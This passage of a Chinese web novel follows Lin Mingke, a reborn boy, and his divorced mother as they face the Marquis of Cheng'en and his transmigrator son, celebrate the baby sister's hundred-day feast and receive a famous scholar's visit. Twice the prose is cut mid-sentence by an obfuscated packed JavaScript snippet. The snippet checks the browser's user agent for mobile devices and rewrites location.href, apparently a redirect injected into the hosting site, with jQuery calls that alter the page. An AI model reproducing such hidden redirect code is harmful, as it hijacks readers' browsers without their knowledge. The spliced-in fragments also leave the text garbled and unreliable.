甚至连原本该惩罚一下的新儿子,也被他一句“琉璃”方子,就改变了主意。 只是他刚开始在庄子里让工匠改造原本烧瓷的火窑,准备烧制琉璃的时候,消息就已经传到了林夫人那里。 林夫人听了就冷笑不已:“呵,他不是嫌银子俗气吗?不是觉得我要回嫁妆是市侩贪婪自私吗?他现在连捡回来的儿子手里的方子都不放过,与民争利,不知道还有没有脸说别人。” “琉璃这种东西,就算做出来,一本万利,可真能有多少人去买?” 林铭柯也点点头,“其实他们若是能好好培育那个双季稻,育出良种,光是卖种子,也能赚不少。而且无论是在朝廷还是民间,都能博得一个好声望。” 林夫人摇摇头,“这种刷声望的事,皇帝不会交给他的。” “唐贵妃生下两个皇子,尚都年幼,大皇子和二皇子都已经成年封王,出宫开府,若是皇帝再偏宠幼子,恐怕朝堂不稳……” 她忽然停顿了一下,忍不住苦笑起来,“你刚进宫给六皇子当伴读,皇上就派人接管了护国公府在北疆的兵权,虽说是让父亲回来养老,但何尝不是削弱六皇子背后的势力呢?” “铭哥儿,你说你做的那个梦,可有梦到,最后……是那位继承……” 她说得含糊,可是一双眼却是亮晶晶的,伸出食指向上指了指天,意思不言而喻。自从得知儿子在梦中经历后,她并不完全将他当成个不懂事的孩子,而是有事都跟他说,有商有量的,母子感情倒是比原来在侯府的时候更好。 林铭柯摇摇头,他被赶出侯府后,沦落为乞儿,又被打残,挣扎在死亡线上,哪里知道朝堂上的风云变化,只是通过系统接收到的一些信息,倒是能从中窥得一二。 “皇上春秋正盛,并无立储的想法。就算对年幼的皇子偏宠,也是为了打磨成年皇子。” 皇帝现在还不到四十岁,正是壮年期,以他的身体,最少能活到五六十岁,那时六七八皇子都到成年期,才是他考虑接班人的时候。 现在对他来说,立储等于催他下台,是他最忌讳的事。 就连那两个成年皇子,出宫封王开府后,他也没留在京城,而是直接派去了封地,让他们各自负责一方民生军务,若是连一个封地都管不好,以后还怎么能接掌一个国家。 所以,两个成年皇子的封地都不是什么膏腴富饶之地,一个在北疆,一个在南疆,都是外有强敌,内有饥民的领地,作为一道试题,让他们想不接都不行。 也正因为担心六皇子的外家姻亲护国公在北疆掌军会有影响,才让他提前退休,回京养老。 说到底,林家不但没能沾到唐贵妃母子的光,反而被他们连累得不轻,甚至在林夫人死后,老护国公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716375|173729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫妻心痛致死,林若风丁忧回乡,彻底离开京城,不能不说也跟唐家脱不了关系。 林铭柯忍不住问道:“娘,外祖是不是拒绝支持六皇子?” “那当然啊!”林夫人理所当然地点头:“除了唐贵妃,有谁会相信六皇子能有机会?” “人蠢也就算了,有那样一个得志便猖狂的娘,看不清楚皇帝到底喜欢她啥,若是能继位,那也肯定是个败家的昏君。” 林铭柯忍不住扶额,自家的母亲啊,似乎从和离后,就开始放飞性情,口无遮拦,连这种话也能说得出口。 不过不得不说,唐贵妃自从受宠后,对林夫人的态度那叫一个翻脸无情啊,当初林家给她送去的那么多银子,真是都喂了狗了。 哦不,狗都不至于,真真是白眼狼无疑了。 “两季稻是好东西,皇上要亲自安排人培育推广也正常。”林铭柯想了想,便说道:“不过我在梦中见过,后来有人从海外带回了两种食物,可替代主食充饥,亩产能有几千斤。” “一个叫马铃薯,另一个叫红薯,都是出海的商人带回来的。娘可以让人留心一下,若是能提前找到这两种食物,也能够活民无数。” 林夫人的眼睛一下子就亮了起来,“这东西好啊!琉璃就算再珍贵,也只有那些富贵人家能买得起,寻常百姓用个粗瓷器就不错了,不当吃不当喝的,哪里比得上能填饱肚子的粮食。” 说着,她忍不住嗤笑道:“亏那姓唐的口口声声说自己出身寒门,为天下百姓谋生,给自己树个清官的好名声,却连那些百姓真正需要什么都不知道。” 林铭柯却笑笑没有附和。 承恩侯是真不知道吗? 他是真缺钱。 就算知道,眼下他所需要的,也是能够最快来钱的东西。 而这琉璃的制法,就能够让他快速地赚钱,让承恩侯府摆脱眼下的困境。 只是他没想到,哪怕有了方子,还从官窑请了有经验的师傅前来烧制,依然没有能够像唐文渊所说的那样,轻而易举地成功。 这就让他这个父亲,不得不再次低下头,找儿子去新建的琉璃工坊,看看到底是他给的方子出了问题,还是工人们的手艺出了问题。 为此,他还特地写了份文书,将琉璃工坊的三成分给了唐文渊。 唐文渊很满意。 12. 第 12 章 第十二章百日 不管外人对承恩侯府两个“神童”如何猜测,时间依然如同流水般过去。 燕京总有各种劲爆的消息层出不穷,哪怕一开始大家对承恩侯夫妻和离,林夫人自立门户的消息有多好奇,对唐家的两个神童有多少猜疑,可随着他们足不出户,低调下去,大家也就渐渐不再关注。 毕竟,这些已经成为老黄历的故事,怎么比得上侍郎家千金落水被救,结果却爆出已经未婚先孕的消息更吸引人们的关注。 尤其是这种涉及到绯闻八卦的消息,更是瞬间吸引了京城百姓的关注,至于那个承恩侯府的新少爷抄袭诗词之事,不知不觉就淡了下去。 甚至还有人觉得,那不过是个孩子,有点虚荣心,捡到本无人知晓的诗集,就想借此扬名,顶多也就是有些虚荣,算不得什么。 文人之间,借鉴引用,融梗中译中,那能叫抄袭吗? 这孩子只不是虚荣了点,年纪小,能背下来这么多诗词也不容易,总要给他一个成长的机会嘛! 如此言论甚嚣尘上,甚至说那些抓着孩子错处不放的人,是心怀嫉妒,自己写不好诗,对别人借此扬名羡慕嫉妒,想要打压这孩子,让他没有出头之日。 人孰无过,放下屠刀都能立地成佛,更何况只是一个有点虚荣心的孩子? 礼部那边也传出消息,说虽然没有给唐文渊封承恩侯世子,也是因为他主动提出,要先参加明年的童生试,通过考试后再请封世子。 从那以后,唐文渊就在承恩侯府闭门不出,专心读书,承恩侯对这个新儿子也十分疼爱,就连皇帝都为他带回来的两季稻稻种进行嘉奖,赏赐了不少财物,终于将那些不利的消息压了下去。 毕竟,不管怎么说,人家也是唐贵妃的外甥,六皇子的表弟,再不济也有个承恩侯爵位可以继承,岂是寻常士子能够比拟的。 更何况,就连本该最在意的林夫人母子,都已经不在意承恩侯父子,外人说的再多,又有什么意义。 林铭柯和林夫人现在最关心的,是林慧娘的百日宴。 对于林铭柯来说,这个上一世没能出声的妹妹,是他亲手带到这个世界,看到她睁眼展开笑颜的那一刻,他觉得这个世界都变得格外美好起来。 哪怕承恩侯在他们母子心里的形象再丑陋,这个孩子却是天底下最漂亮最可爱的小女娃。 她在胎中就养得极好,哪怕在生产时因为难产险些窒息,刚出生的时候浑身发红,吓得林铭柯不轻。 不过短短几日,她身上的胎红褪去,除了手臂上还有一小片如同桃花般的胎记之外,浑身的肌肤雪白粉嫩,小手小脚如同藕节般,尤其是肉嘟嘟的小脸上那对深深的酒窝,更是让人一见就舍不得挪开眼去。 有这样一个宝贝在,林夫人和林铭柯哪里有心去管唐家父子如何洗白,照顾好女儿/妹妹,先管好自家的营生,才是当下最要紧的事。 没办法,就连老护国公也不得不隐晦地暗示,唐文渊有献良种之功,承恩侯是两位皇子的亲舅舅,皇帝无论如何,也不可能对他们加以严惩,毕竟林夫人难产之事如今死无对证,想要报仇,就只能待以后另想办法。 原本从不想掺和到皇子们争斗中的护国公府,现在就算不站队,也有了一个明确的倾向。 无论如何,护国公一脉的势力,是绝对不会支持唐贵妃的两个儿子的。 当初只是表示中立,各不相帮,她就忘恩负义,暗中帮着承恩侯杀妻灭女,如今双方已势成水火,若让她成事,那林家以后岂不是要破家灭门? 如今唐贵妃借着献良种之功,在没有皇后的后宫中,已是一人之下万人之上,风头正盛,林家也只能低调行事,就连林慧娘的百日宴,也不能公开大办。 若是林夫人没有和离,慧娘是承恩侯府唯一嫡女,在燕京世家贵女中也算是一等一的身份,自是会有无数勋贵世家,高官权臣的女眷前来道贺。 可如今林夫人不但跟承恩侯撕破脸闹上公堂和离,还自立门户,并未回护国公府,那么林慧娘就既不是承恩侯府嫡女,也不是护国公府的小小姐,而是一个普普通通的林家女儿,自然不会有那么多人前来道贺。 所以这一次林慧娘的百日宴,林夫人也只请了护国公一家,并未邀请外客。 十月的燕京已有初冬气象,屋外朔风冷冽,屋里却温暖如春,除了有引入的温泉水暖之外,林夫人还让人早早就烧起了地龙,可以让孩子们在屋里不必裹着厚重的衣物,无论是才刚百日的小慧娘,还是每日勤学苦读的林铭柯,都经不得任何风寒侵袭。 “护国公夫人来了!” 厚重的门帘掀起,林夫人连忙到门口迎接母,“母亲,女儿未能出门远迎,还望恕罪!” 护国公夫人心疼地搂着她说道:“说什么胡话,你刚出月子没几日,本就受不得风寒,咱们娘俩之间,哪里来那么多规矩。还说什么恕罪,我看你就是被那个唐靖远给哄得脑子都坏了!” 原本恣意任性的女儿,自从嫁人之后,相夫教子,循规蹈矩,连回门的时间和次数都越来越少,原本以为她过得好也就罢了,没想到她竟是被那个人面兽心的家伙给骗了,不但早有私生子,还想趁着她生育下毒手。 这怎能不让老母亲心疼,得知消息的时候,就差点惊得背过气去,也跟着病了一场,怕过给女儿和外孙女,这百日只是派人过来送东西探望,自己还是第一次亲身过来看她们。 这对母女也是久别重逢,抱在一起时,回想起过往,都忍不住落下泪来。 眼见她们母女相拥而泣,林铭柯灵机一动,轻轻碰了破躺在摇篮中的妹妹,冲着老妇人说道:“外祖母,那你看,今日妹妹格外好看呢!” 护国公夫人闻言望去,只见躺在大红襁褓中的小女婴露出一张雪白粉嫩的小脸,眉心点着一点朱红,被哥哥戳了一下小脸,正伸出小手,抓着哥哥的手指不放,脸上露出一对深深的酒窝,加上一对黑白分明的大眼睛,格外甜美可爱。 “啊,这就是慧娘吗?长得真好看,比你小时候还漂亮呢!” 林夫人故作不乐地说道:“娘这是有了外孙女,就不喜欢女儿了吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716376|173729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 护国公夫人轻掐了她一把,笑道:“都当娘的人了,还跟自己女儿吃醋,你羞也不羞?” 她走过去抱起林慧娘,看到她身上包裹着的正是自己让人送来的金红如意襁褓,心下满意。 林慧娘瞪着双乌溜溜的大眼睛,丝毫没有认生的感觉,反倒是伸出手去,想要抓住老夫人抹额上亮闪闪的红宝石。 林铭柯连忙说道:“外祖母,妹妹格外喜欢红色,看到红彤彤的东西就喜欢抓,还望外祖母莫怪!” 护国公夫人笑道:“这有什么,她喜欢就给她。今日她百岁,我这个当外祖母的,难道还舍不得一块红宝石?” 说着便一手抱着她,一手解下抹额直接递到她手中,可没想到林慧娘拿到抹额之后,竟然兴奋地朝着林夫人挥手,嘴里呜哩哇啦地不知在叫什么。 林夫人哭笑不得地从她手中接过抹额,林慧娘这才不叫了,只是伸手要抱抱。 护国公夫人只得将她交还给林夫人,酸溜溜地说道:“原来你要了外祖母的好东西,是给你娘的啊!真是个会疼娘的好女儿,啧啧!” 林夫人眨眨眼,说道:“母亲这是觉得你的女儿不如我的女儿吗?不过慧娘的娘,也比不上我的娘啊!这下可算扯平了?” 护国公夫人顿时大笑了起来,这几个月来的积累的心头郁气一扫而空,“行了,就你长了张嘴会说话。还不赶紧带慧娘和铭哥儿一起出去见见你爹。” 林夫人连声应下,抱着慧娘,林铭柯则是自动跟在母亲身边,随着护国公夫人一起前往前厅。 前厅正堂中,老护国公和世子林若风正坐着喝茶,林若风的夫人秦氏也带着两个儿子在旁坐着,看到她们出来,立刻齐刷刷地将视线都集中在了林慧娘身上。 老护国公更是连忙站起身来,轻咳一声,一双眼就对上林夫人怀中婴儿的双眼,流露出喜爱之色。 “把慧娘抱来让我瞧瞧。” 林夫人将孩子递给他,老护国公主动接过孩子,有些笨拙地抱在怀里,慧娘不哭不闹,乌溜溜的大眼睛好奇地望着面前威严的老国公,咧开没牙的小嘴咯咯笑了起来,伸手就去揪他的胡子。 老护国公没有躲闪,反而任由她抓住自己的胡子把玩,还有些得意地说道:“这孩子胆子大,不怕我,有咱们林家将门虎女的气派!好!好样的!” 老夫人不满地说道:“叫那么大声作甚,也不怕吓着孩子!” 说着,她让秦氏又拿来一套小衣裳,“这是我和你嫂子亲手给慧娘做的衣裳,上面有百子千孙图,盼着咱们慧娘将来儿孙满堂,咱们林家的女儿,无论什么时候,都有娘家人撑着,就算和离,也不怕别人说三道四的。若有人敢欺负你,就告诉娘,娘让你哥哥去打他们的大耳光子!” “娘!”林夫人再忍不住,抱着老夫人又哭了起来。 林铭柯也忍不住悄悄地抹了抹眼角,看到母亲和妹妹此时一哭一笑,满堂欢声笑语,他便觉得,这一世,定然不会重蹈覆辙,会努力读书,来日金榜题名,靠自己的力量,去保护母亲和妹妹,让她们一世平安喜乐,再无烦忧。 13. 第 13 章 第十三章全家福 林家人都给林慧娘准备了礼物,就连林若风七岁的女儿都没例外。 林若风只带了嫡出的二子一女来参加百日宴,其中嫡长子林翦十五岁,嫡次子林蓟十二岁,嫡女林萱七岁,都是妻子秦氏所出。 当初就是因为唐贵妃试探性地向林夫人提出,想为六皇子定下林萱的婚约,被林夫人和护国公果断拒绝,才让两家的关系彻底陷入僵局。 在唐贵妃看来,这就是护国公府不愿意支持六皇子的表现。 在护国公而言,作为开国三公,不站队不专权,哪怕摆烂躺平,都能保住家族世代爵位传承和富贵荣华。 可若是想要那从龙之功,就可能会有倾家灭族之危。 更何况,就从唐贵妃对林夫人前恭后倨的态度,护国公就不觉得扶持六皇子上位后,林家能得到什么好处。反而更有可能被当成黑历史处置而后快。 这种有百害而无一利的事,护国公傻了才会答应。 为此,他甚至连传统的世家间表亲的联姻都没考虑过,这并不是看不上当初的唐铭柯,而是完全看不上唐贵妃兄妹。 如今,老护国公让林若风带着儿女过来的时候,尤其让林萱单独给慧娘准备了礼物,就在考虑她和林铭柯的关系能否再进一步。 对于武将世家来说,并在乎什么同姓不婚的规矩,只要不是五服之内的直系亲属就行。 尤其是这种表亲关系,在这个时代亲上加亲再常见不过。 就连林夫人也考虑过这种可能,私下里悄悄问林铭柯对这位比他只大了几个月的小表姐感觉如何。如今在她的眼里,儿子已经不仅仅是个六岁的孩子,而是个能够与她有商有量,能够帮她一起面对外来风雨的小小男子汉。 这种与他终身有关的大事,当然要问过他自己的意见。 毕竟,他曾经“梦”到过未来,虽然很多细节不清楚,但是林夫人深深相信,那是上天给她的预警,是一个曾经发生过的未来。 林铭柯果断拒绝了。 并不是因为从系统提供的“前世”原本命运中得知,自己原本该娶公主当驸马,而是因为从那个穿越者所在的异世界里,他吸收到的庞大信息流中,几乎是红字提醒的一条,就是近亲结婚会导致后代的畸形和痴呆率居高不下。 所以林夫人哪怕试探性地一提,他也毫不犹豫地拒绝了,而且还告诉她这种近亲结婚的弊端,不光是他,包括妹妹在内,以后都不要考虑这种关系的联姻。 虽然明知道护国公府这种结亲方式,其实算是对他们母子的保护。 林夫人自立门户之后,等于是脱离了原本的勋贵圈子。 她成为女户,林家的家主,单独顶门立户,单开族谱,既不是承恩侯夫人,也不再是护国公府的千金,身上无诰封无爵位,就是个普普通通的百姓,独立承担赋税徭役,就连护国公府都无法庇护她豁免。 如果林铭柯在成年之前都无法考取功名的话,不但要缴纳各种赋税人头税,还要承担徭役和兵役,有些能用银子赎买抵付的还好,有些不能赎买的,对他来说就十分危险。 甚至比普通百姓还要危险。 因为普通百姓找人代服役或者花钱代役,上面的官员衙役要么不认识,要么当看不到。 可林铭柯的名气太大,又有承恩侯府虎视眈眈地盯着,一旦有什么差错,就会被人毫不犹豫地举告。 这一点,无论是林夫人还是林铭柯,都十分确定。唐靖远父子绝对是这种睚眦必报的小人。 最好的办法,就是根本不给他们这个机会。 护国公想让林萱与林铭柯联姻,也是想给他们多一层庇护,毕竟老国公夫妻年事已高,父母当家和以后兄嫂当家,肯定是不一样的,可若是能够再多一层儿女亲家的关系,又能多延续一代人的关系。 林萱是愿意的。 七岁的小女孩,在国公府长大,远比同龄人成熟,从懂事开始,学习女红女学,就开始知道,自己未来的人生目标,是嫁人生子,成为当家主母。 之前唐贵妃想给六皇子提前预定婚约的时候,秦氏很紧张,林萱也很紧张。 作为护国公府的女儿家,林萱不需要嫁高门来提升身份,获取利益,林家的兄弟姐妹和睦,其中很重要的一点是因为林家儿郎十五岁之后都要去边疆征战,只有相互扶持,同心合力才能活下来的时候,并没有其他勋贵豪门家族内斗的那么严重。 所以她也不想嫁入皇家,而是希望像姑姑一样,能嫁一个斯文俊美的夫婿,一心一意,才是她向往中的夫妻生活。 虽然现在滤镜破碎,姑父居然早有私生子,导致姑姑和离,自立门户,可那种曾经美好的婚姻状态,依然是她所向往的。 而这种关系,绝对不可能出现在皇家。 护国公问秦氏和她的时候,秦氏还有些犹豫,林萱却毫不犹豫地点头。 “铭哥儿虽然年纪小,但聪明好学,以后成就和前途一定不会差了的。” 现在早早定下婚约,是庇护林夫人母子,可等到林铭柯长大成材,或许情况就完全不同了。有这份情谊在前,他们之间的关系,无论如何也不会差。 可林夫人婉言谢绝了,委婉地说,虽然她也想亲上加亲,可是之前曾经听一个老医生说过,这种表亲结亲,后代很容易出现问题,为了子孙后代的关系,就没法亲上加亲了。 秦氏对此并不相信,却也不愿再强求,这本就是公爹想要庇护女儿一家,她自己不要,难道还要上赶着送女儿,显得她家女儿多么卑微没人要吗? 林铭柯看出了舅母脸上的不虞之色,立刻先对着林萱说道:“多谢表姐。表姐给慧娘绣的围兜真好看,等慧娘长大后,还要有劳表姐多教教她。” 接着又转头对秦氏说道:“我最近跟着舅舅习武,舅舅说我习武的天赋比大表哥和二表哥差远了,顶多也就能强身健体,怕是以后还得仰仗两位表哥保护我呢!” 绝口不提婚约的事,就当双方都没提过,又摆明了自家现在需要表哥表姐们的帮助,并且铭记于心,三言两语之间,就让秦氏的脸色好看了许多。 毕竟双方都只是通过长辈试探,并未明说,也不存在丢脸的事,对方一个孩子都知道低头讨好了,她这个当舅妈的自然不能在公婆面前对他摆脸色。 “你那两个表哥也就一身蛮力,说起读书来,白长了那么大个子,可比你差远了。” 双方营业性互相吹捧,其乐融融,并没有影响到今日为慧娘贺百日的愉快心情。 林夫人甚至和林铭柯母子合力作画,画了一副《慧娘百日图》,老护国公夫妇,林若风一家五口,以及他们母子女三人,全都画在图中,十个人表情各异,却都能看得出出自内心的快乐,看得老国公连连夸赞,爱不释手,当场就要走了这幅画,说要带回家让人裱好后挂在他的书房里。 老夫人忍不住翻了个白眼,“你那书房你一年都难得进去一次,挂那有什么用?不如挂在我的正屋里,让我抬头就能看到。” 老国公忍不住揪起了胡子,“可你那正屋,外人寻常进不去啊!”这怎么能满足他对外秀外孙和外孙女的心情呢? 有这么优秀的外孙不能秀,岂不是如同锦衣夜行?要损失多少快乐啊! 要知道,这幅画林夫人顶多起个辅助作用,画了些摆设,人物可都是六岁的小外孙亲手所画。 若不是亲眼所见,谁能相信一副如此形神兼备的工笔画竟是出自一个六岁稚童之手? 就连秦氏都有些难以置信,“听说铭哥儿你一直苦读诗书,没想到你还画得一手好画。小小年纪,有如此天赋,真是难得啊!” 林铭柯微微有些汗颜,他没法说这是重生给他保留的技能之一,也是系统赋予他的金手指,让他不仅接收了那个穿越者带来的另一个世界的信息,还完整地保留了他前两世的所有记忆和掌握的技能。 是的,他以为自己只是从那个悲惨的死亡后重生,直到遇到系统,才知道自己原本有一个正常的人生,只是因为穿越者唐文渊的出现,改变他的命运后,才导致他偏离命运的第二世。 而如今,是系统和这个世界赋予他重生的第三世,让他不仅保留了前两世的记忆和技能,还接收了穿越者那个世界的信息,否则就算重生,他也无法与那个拥有几千年历史文化和科技世界文明的穿越者对抗。 就像上一世的他。 只是那时候他一心科举,专心读书,哪怕在绘画上有天赋,学了一阵就不曾专研下去,完全没想到,如今可以凭借画画,给家人带来如此好心情。 想到在那个穿越者的世界,好像一些大家庭里,每年都会在家族成员团聚的时候拍全家福,在这里没有那个世界的技术,就用他的画笔来补上,也算是另一种《全家福》吧! 他将这个想法告知众人,并认真地说道:“我再画三幅,给外祖父和舅舅一人一幅,还有一幅留在我们家里。以后每年我都给大家画一幅这样的《全家福》,希望大家能够岁岁年年,都如现在一样团圆美满,开心快活。” 众人听得都感动不已,林家的几个小辈还纷纷要求他单独给自己再画个小像,才开口就被林若风抢先阻止了。 “铭哥儿明年还要参加童生试,可不能因为这些荒废了学业!你们别光知道使唤表弟,自己不知道动手学吗?” 林蓟苦着脸说道:“阿爹你又不是不知道,让我拿刀拿剑我都没问题,可是让我拿笔……就感觉手都不是自己的了……” 秦氏也忍不住笑道:“难怪你老师说你写字比鬼画符还要难看!” 林铭柯也跟着笑了笑,“表哥以后是要上阵杀敌的,当然拿刀剑胜过拿笔,我这般手无缚鸡之力的,也只能拿支笔了。” 老护国公捋着长长的胡须,微笑着说道:“铭哥儿你不知道,那些御史手中笔,有时候快过武将手中刀,文人用笔那可是杀人不见血,可是厉害着呢!” 他可是吃过这方面的亏,原本也对女婿这样的文人看不顺眼,只是现在看到外孙的画,忽然觉得有个会动笔的外孙也不错。 林铭柯却目光灼灼地望着老国公,说道:“圣人云:文武之道一张一弛。偏废则倾,并重则治。《周礼》教六艺,就是要我们读书人也要‘允文允武’,文人治国,武人卫国,开疆拓土,缺一不可。” “说得好!”林若风拍拍他的肩膀,豪气地说道:“那以后你就继续跟着我习武,当个文武双全的状元郎!” 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果不其然,林蓟一听到这话,差点就跳了起来,“我才不会等着他一起赴考呢,他才打不过我。等……等上几年,我就去考武举,考个武状元回来!” 说着,他又转头望向自家大哥,犹豫起来,“哥,你……不会跟我抢武状元吧?” “啪!”林翦抬手就拍了弟弟的脑袋一巴掌,“蠢货!你当武状元那么好当的吗?简直是井底之蛙!” “不要打我的头!”林蓟抱着脑袋抱怨起来:“阿娘,你看大哥老打我头,我读不进去书,挨老师的训,都是因为被大哥打坏了头!” 林翦手痒痒地非常想揍弟弟,可是当着父母和祖父母的面,只是又弹了他脑门一下。 “就你那点脑子,不用打都是浆糊。还成天口无遮拦,仗着点蛮力,居然敢视天下豪杰如无物,真是不知天高地厚!” “啊啊啊,大哥你再打我我可要还手了啊!”林蓟说话间就一头朝林翦顶了过去,被他错身闪过,顺手一推,他便朝着前方地面踉踉跄跄地扑过去。 这兄弟俩日常打闹动手过招都是常事,尤其是林蓟自幼便生得巨力,又能吃又能扛,偏巧林翦的身手远比他灵巧高明,哪怕力气再大,也只有屡战屡败的份。 若是寻常时间,顶多也就是林蓟摔一跤,爬起来再战。 可今日在林家正堂中,兄弟俩拌嘴之时,林铭柯见猎心喜地上前想要观察他们动手技巧,学习一二,没想到就碰上林蓟一头撞空,被林翦顺势一拨一推,正好朝着他的方向撞去。 “小心!”林夫人和林若风几乎同时惊呼一声,就连正笑眯眯逗着外孙女的老护国公都震惊地不小心揪掉了自己一小缕胡须,伸手想去拉开林铭柯。 十二岁的林蓟身高已超过五尺,又生得粗壮结实,六岁的林铭柯才堪堪到他胸口,体重怕是还不到他的一半,若是被这般当头撞上,以这小子蛮牛般的力气,只怕要将他撞飞出去,不知要受多重的伤。 偏偏几个大人都在围着林慧娘逗弄着,跟他们还有一段距离,哪怕动作最快的林若风,伸手想去抓住林蓟的时候,也差了那么一点点。 眼看着林蓟就要撞在林铭柯身上时,瘦瘦小小的林铭柯像是受到惊吓,手足无措地一个趔趄,身子一歪朝着旁边倒下,几乎是连滚带爬地在地上打了个滚,正好躲过了林蓟的这一撞。 而林蓟则直接扑空摔在地上,亦是在地上一个懒驴打滚,鱼跃翻身,跳起来又朝着林翦扑去,浑然没注意到自己刚才的动作有多么危险。 “混账!不许再闹了!” 林若风已然赶到,直接一把抓住他的后衣领将他悬空拎起,抬脚就在他的屁股上踹了两脚,任由他在自己手上晃来荡去,哇哇大叫。 “阿爹你偏心,是大哥先动手的!” 林若风眼角抽搐,“你两怎么打我都不管,方才你差点撞到铭哥儿没看到吗?你也不想想,他若是被你撞上一下,岂不是要重伤?” “啊?”林蓟这下才回头去看倒在地上的林铭柯,一头雾水,“我有撞到铭哥儿吗?” 林夫人正好心疼地扶起林铭柯,一边拍打他身上的“尘土”,一边检查他手脚有无受伤,“铭哥儿有没有摔到?身上痛不痛?” “我没事,没摔疼也没受伤。” 林铭柯利落地站起来,心有余悸地看了眼被舅舅拎起来踹屁股的二表哥,活动着手脚给林夫人看,心中暗暗庆幸,好在他前世虽然没有跟着舅舅习武,学会打人的本事,可是后来沦落街头时,被人欺凌,这挨打和闪躲几乎已经成了本能般刻在骨子里。 老护国公却看着他若有所思,转向林若风问道:“铭哥儿这闪避的步法是你教的吗?虽然弱了点,但反应和动作够快,不错不错!” “我教的吗?”林若风一怔。 林铭柯立刻点头,“是啊是啊,舅舅你教我扎马步的时候,还用鞭子抽着教我步法的!” “呃?”林若风还没来得及回忆自己是不是有教过,头上就挨了一下来自老父亲的巴掌。 “铭哥儿体弱,你居然还敢用鞭子抽他?岂有此理!” 看着丢下儿子被老父亲追着揍的舅舅,林铭柯偷笑着看向二表哥,果然,这真是亲父子啊! 14. 第 14 章 第十四章名师 给慧娘庆贺完百日,老护国公在临走之前,犹豫着问林夫人,“若是我再向皇上求个伴读的名额,让铭哥儿到上书房读书,你觉得如何?” 林夫人连忙摇头,“万万不可!我可舍不得再让铭哥儿进宫去替人挨打!” 老护国公皱了下眉,“不是六皇子,是七皇子,他的外祖让人送信给我,说可以让铭哥儿给七皇子伴读。七皇子读书勤奋努力,深得侍讲学士们的喜爱,不会轻易连累铭哥儿受罚的。” “铭哥儿既然要走读书科举这条路,那天下名师,没有能比上书房那几位学士更强的……” “这……”林夫人转头望向儿子,打不定主意。显然,老护国公这是愿意为了她和铭哥儿,与那些昔日并不想打交道的外戚结交,用以牵制唐贵妃兄妹,为铭哥儿借力。 林铭柯轻轻地摇摇头,对老护国公说道:“多谢外祖父费心了。不过对我而言,在上书房读书的意义不大。各位的学士固然厉害,但在上书房教的,并非科举之道,而是君臣之道。” 他顿了顿,带着几分腼腆地笑了笑,“其实我已经做了好几份历年各州县的童生试题,应该问题不大。等我考过童生试后,便去寻个书院进学,就算没有名师,也一样能考过。” 三世记忆,除了刻骨的仇恨外,对他而言,记忆最深刻的,就是四书五经,科举时文策论,都已经是刻在骨子里的记忆,根本无法忘记。 可以说,除非是考官舞弊,刻意将他刷下去,否则在糊名誊抄试卷的前提下,他想要落榜都很难。 有没有老师对他而言并不重要,根本无需护国公府为他而放弃自己原本的立场。 什么伴读,伴君如伴虎,给人当人肉替身挨打的事,谁爱干谁干,他才不愿意。 老护国公听他说得如此笃定,顿时也松了口气,笑眯眯地摸摸他的头顶,“好好好,铭哥儿如此聪明,倒是老夫着相了。你年纪还小,多读几年书也是无妨,不论如何,谁若是敢欺负你们母子,就是跟老夫过不去。” 他虎目一瞪,粗声粗气地说道:“别说是承恩侯,就算是天王老子来了,老夫也一样照打不误!” 就在前两天,上朝的时候看到承恩侯又复出了,老护国公毫不犹豫地在列队过金水河的时候,把他给撞了下去,还十分不屑地说道:“老夫是年纪大了眼睛不好,怎么还有人比老夫的眼还瞎,看不到老夫过来还故意挡道吗?也不看看自己的身子虚得能不能挡得住老夫!” 哪怕承天殿前的金水河中,水位很浅,只是用于维护皇宫水系和预防火灾的活水,但在这深秋时节,掉进水里还是让承恩侯又感冒了一场,不得不再次告病假不能上朝,干脆再次封闭承恩侯府,闭门不出。 没办法,公开场合遇到老护国公或者林若风就得挨打被撞,还没法申辩,他只能说是秀才遇到兵,有理讲不清,更何况在大多数人看来,他还没理。 先前他还带唐文渊出去参加一些文会和宴席,等到《唐诗》、《宋词》卖得满大街都是,文人们几乎人手一本的时候,他们两父子的名声都臭了,根本没法出门。 林铭柯对老护国公父子的维护很是感激,再三向他保证,自己绝对不用再求名师指点,也一样可以考过童生试,这才送走了林家祖孙三人。 就连林蓟都悄悄告诉他,他和哥哥在勋贵世家子弟中发话了,谁要是跟那个唐文渊结交,就等着吃他们兄弟的拳头吧! 对此,林铭柯不得不说,林家的祖传拳头,真的非常强大。 只是他没想到的是,他没打算再去求学,可一位老师却从天而降,主动送上门来了。 林夫人接到那位老先生的拜帖时,都有些懵,急慌慌地找到儿子,让他看看上面的名字是不是有问题,会不会有人冒名登门。 若非如此,这位曾经官居一品,如今哪怕已经告老退出朝堂的前文渊阁大学士,怎么会突然派人投来拜帖,说要明日登门拜访。 要知道,无论是在燕京,还是在整个大燕三十二州府,想要拜访求见这位杨大学士的人数不胜数,若是他肯挨个接见,排队的人能从他家门口排到城门外绕城一圈。 杨晗杨大学士,亦是大燕有名的神童,十二岁中举,十七岁中进士,如今已是四朝元老,曾任两朝阁臣,是当今皇帝在太子时的太子太师,宦海沉浮五十载,在六十五岁时主动辞官告老,皇帝再三挽留未果,赐下燕京豪宅,就是希望他留在燕京,能够偶尔参与每月三次的经筵讲习,为皇帝和诸皇子讲经授课。 